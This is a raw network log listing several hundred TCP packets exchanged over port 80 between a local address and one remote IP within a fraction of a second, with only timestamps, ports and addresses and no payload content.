Dec 5, 2022 06:44:45.691226959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691239119 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691258907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691298008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691339970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691368103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691404104 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691406965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691447973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691476107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691500902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691514969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691554070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691566944 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691582918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691625118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691665888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691694021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691720963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691732883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691771984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691782951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691801071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691839933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691880941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691935062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691962004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691975117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692015886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692032099 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692044973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692084074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692125082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692152023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692178965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692190886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692231894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692265034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692290068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692303896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692344904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692373037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692398071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692411900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692451000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692478895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692507029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692518950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692559004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692586899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692610979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692625999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692665100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692693949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692717075 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692734957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692775011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692804098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692826986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692842007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692882061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692909002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692934036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.692948103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692986965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.692997932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693016052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693054914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693095922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693108082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693123102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693161964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693201065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693213940 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693228960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693270922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693310022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693321943 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693340063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693381071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693419933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693449020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693475008 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693487883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693527937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693541050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693557024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693594933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693634987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693664074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693686962 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693702936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693742990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693753004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693772078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693809986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693850040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693876982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693898916 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.693917036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693958044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.693986893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694013119 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694025040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694063902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694092035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694120884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694129944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694170952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694197893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694224119 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694237947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694279909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694307089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694333076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694348097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694387913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694400072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694417953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694456100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694495916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694525957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694547892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694565058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694603920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694614887 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694633961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694672108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694711924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694741011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694763899 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694780111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694819927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694848061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694879055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.694905996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694947004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.694974899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695013046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695045948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695053101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695065022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695080996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695120096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695161104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695183039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695188999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695236921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695286989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695313931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695344925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695353985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695394039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695421934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695442915 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695462942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695502996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695516109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695532084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695570946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695610046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695637941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695668936 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695677042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695717096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695745945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695769072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695784092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695823908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695848942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695852041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695890903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695930958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695946932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.695959091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.695998907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696038961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696050882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.696068048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696109056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696147919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696154118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.696176052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696214914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696257114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696264982 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.696285009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696326017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696365118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696393013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.696419954 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699031115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699080944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699121952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699135065 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699179888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699222088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699254990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699271917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699314117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699362040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699373007 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699404955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699443102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699484110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699513912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699531078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699572086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699618101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699629068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699660063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699701071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699740887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699774027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699805021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699836016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699877977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699904919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.699939013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.699965954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700007915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700037003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700074911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.700095892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700136900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700165033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.700186014 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701128960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701172113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701200962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701316118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701376915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701441050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701486111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701515913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701556921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701606989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701618910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701647997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701687098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701728106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701756001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701776028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701816082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701864004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701875925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.701906919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.701968908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702008963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702045918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702058077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.702099085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702136993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702156067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.702186108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702224970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702352047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.702369928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.702466011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.757472038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.757527113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.757571936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.757589102 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.907406092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.907814026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.907963037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.907996893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908029079 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.908112049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908159018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908227921 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.908282995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908323050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908435106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908468008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908521891 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.908571005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908612013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908643007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908682108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908701897 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.908744097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908771992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908790112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.908830881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908869028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908900023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.908917904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.943582058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943640947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943675995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943715096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943768024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943783998 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.943824053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943846941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.943886995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943928957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943958044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.943989038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944122076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944164038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944194078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944241047 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944422960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944489002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944521904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944564104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944565058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944607973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944641113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944673061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944681883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944726944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944756031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944782019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944797039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944839001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944870949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944905996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.944916010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.944957972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945002079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945046902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945055008 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945092916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945123911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945164919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945172071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945207119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945252895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945313931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945328951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945394993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945432901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945465088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.945476055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945518970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945548058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.945586920 CET	49705	80	192.168.2.3	104.193.254.97
